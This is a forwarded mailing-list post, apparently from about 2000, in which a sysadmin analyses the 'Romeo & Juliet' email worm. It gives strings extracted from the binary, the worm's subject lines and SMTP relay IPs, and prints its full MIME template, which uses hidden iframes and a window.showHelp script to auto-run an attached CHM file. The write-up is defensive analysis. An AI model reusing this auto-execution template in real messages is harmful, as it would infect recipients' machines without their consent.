R o m e o & J u l i e t trojan (fwd)

[Michal Nazarewicz <cefek () career pl>]

Hi,
        I don't want to be a fool reporting something what is widely
known. I've managed to search for any signs of previous discoveries of
this trojan thru google and altavista, both with no luck.
        The facts:
        I've received an e-mail from person in Poland I don't know. This
email was suspicious because:
        1. The sender didn't knew me (as stated before)
        2. The sender didn't include any comments inside e-mail
        3. He used my Usenet address
        4. This email consisted of: one corrupted HTML file as a body,
        one Win32 Excecutable file (29104 bytes, attached as type
Application/MSWORD) and one .CHM file (which is supposed to be compressed
Microsoft Help file, but - as I've talked to one of Microsoft's engineers,
it couldn't be *that* small (6.5 kb)
        5. It was produced by Microsoft Outlook 5.
        6. The exe file was compressed with UPX, Executable Packer
(http://upx.tsx.org)

I've decompressed this file and the first thing that came to my mind was
to string it. The result is, I believe, self explanatory. It is attached
below (part of it is deleted, as it is just a compiler crap). Some
(basic) explanation is also included.

Should anybody need this file, feel free to email me and I'll send
it. Tomorrow I'll set up a sandbox in my office and run this file -- I'm
curious if this will work. Should I continue to post things here? Or maybe
there is a better list somewhere at securityfocus?

8<----

First of all, this virus is made by _Polish_ programmers. Well, as far as
I can see, it is NON-destructive and it's only goal is to spread once to
all addresses in MS Outlook Express addressbook.

Here it comes:

SOFTWARE\Borland\Delphi\RTL
Portions Copyright (c) 1983,97 Borland

[... viruses in delphi... bwah]

\SOFTWARE\Microsoft\Internet Account Manager\Accounts\00000001
SMTP Email Address

[That's where it gets valid e-mail address]

helo
mail from:<
rcpt to:<
data

[ooh... full-featured smtp client... but what servers does he use?]

Romeo&Juliet
:))))))
hello world
!!??!?!?
subject
ble bla, bee
I Love You ;)
sorry...
Hey you !
Matrix has you...
my picture
from shake-beer

[that's a full list of subjects... some of them may be easily refused at
mail transport agent level (eg. via sendmail's Check_Subject macro), some
just can't - like this one with smiley]

[below is whole message, extracted from myromeo.exe binary]

Content-Type: multipart/mixed;
        boundary="----=_NextPart_000_001D_01C04A9A.F06454A0"
X-Priority: 3
X-MSMail-Priority: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200


This is a multi-part message in MIME format.
    -
------=_NextPart_000_001D_01C04A9A.F06454A0
Content-Type: multipart/alternative;
        boundary="----=_NextPart_001_001E_01C04A9A.F06454A0"

------=_NextPart_001_001E_01C04A9A.F06454A0
Content-Type: text/plain;
        charset="iso-8859-2"
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
</HEAD>
<BODY BGCOLOR="black" TEXT="red">
<DIV>&nbsp;</DIV>
<IFRAME width=3D1 height=3D1
src=3D"cid:000701bf8458$eb570380$dc0732d4@666"></IFRAME>
<IFRAME width=3D1 height=3D1
src=3D"cid:000701bf8458$eb570381$dc0732d4@666"></IFRAME>
<P></P>
<SCRIPT>
 window.showHelp("c:/windows/temp/myjuliet.chm");
</SCRIPT>
</BODY></HTML>
------=_NextPart_001_001E_01C04A9A.F06454A0--
Content-Type: application/x-msdownload;
        name="myromeo.exe"
Content-Transfer-Encoding: base64
Content-ID: <000701bf8458$eb570380$dc0732d4@666>
Content-Type: application/octet-stream;
        name="myjuliet.chm"
Content-ID: <000701bf8458$eb570381$dc0732d4@666>

c:\windows\temp\myjuliet.chm
------=_NextPart_000_001D_01C04A9A.F06454A0--

[Mail message runs c:\windows\temp\myjuliet.chm, which is Microsoft
Compressed Help File. This file is attached to e-mail message, and Outlook
must save it to disk in order to run it. When user selects this message in
message pane, this file is automatically run. What if default windows
directory is not c:\windows? I believe, the worm doesn't work then]

c:\windows\hh.exe

[path to the Microsoft Windows Help Executable, part of Windows 9x/(NT?)
distribution]

212.244.199.2
195.117.152.91
195.116.62.86
194.153.216.60
195.117.99.98
213.25.111.2

[these addresses are of hosts in polish internet. There comes conclusion
that this worm must be a polish product: first the "iso-8859-2" charset in
mail message above, then - MS Outlook Express subversion .15, which is
Polish; third, there hosts' addresses - they are all SMTP hosts, of which
one is open (promail.pl) - and the rest is not. I suspect that they've
been open for some time, but system administrators have seen big email
traffic increase, so they've shut relaying down. I have contacted
sysadmins from these systems, but had received no reply yet].

8<----

I believe that's all in this matter. There are some signs, that the worm
acts like a proxy server, changes outlook settings - and collects e-mail
addresses. However, I believe this not to be true, because I haven't ever
emailed to person that send me this worm, and - i've not found any code in
the myromeo.exe file, that looked like a proxy server. On the other hand,
I haven't ran this file on any Windows machine, so I don't know if i am
right at this point.

--
Michal 'CeFeK' Nazarewicz   / CAOL, DK GROUP SYSADMIN ^ NETADMIN         B
ICQ 47171266 / +48 (601) CEFEK 0 / http://www.dkgroup.pl/index.html      O
mailto:cefek at saydk dot co dot uk / MN4735-RIPE / Pengiun #164007      F
Linux kanton 2.4.0-test7 #9 sob wrz 2 12:46:51 CEST 2000 i686 slackware7 H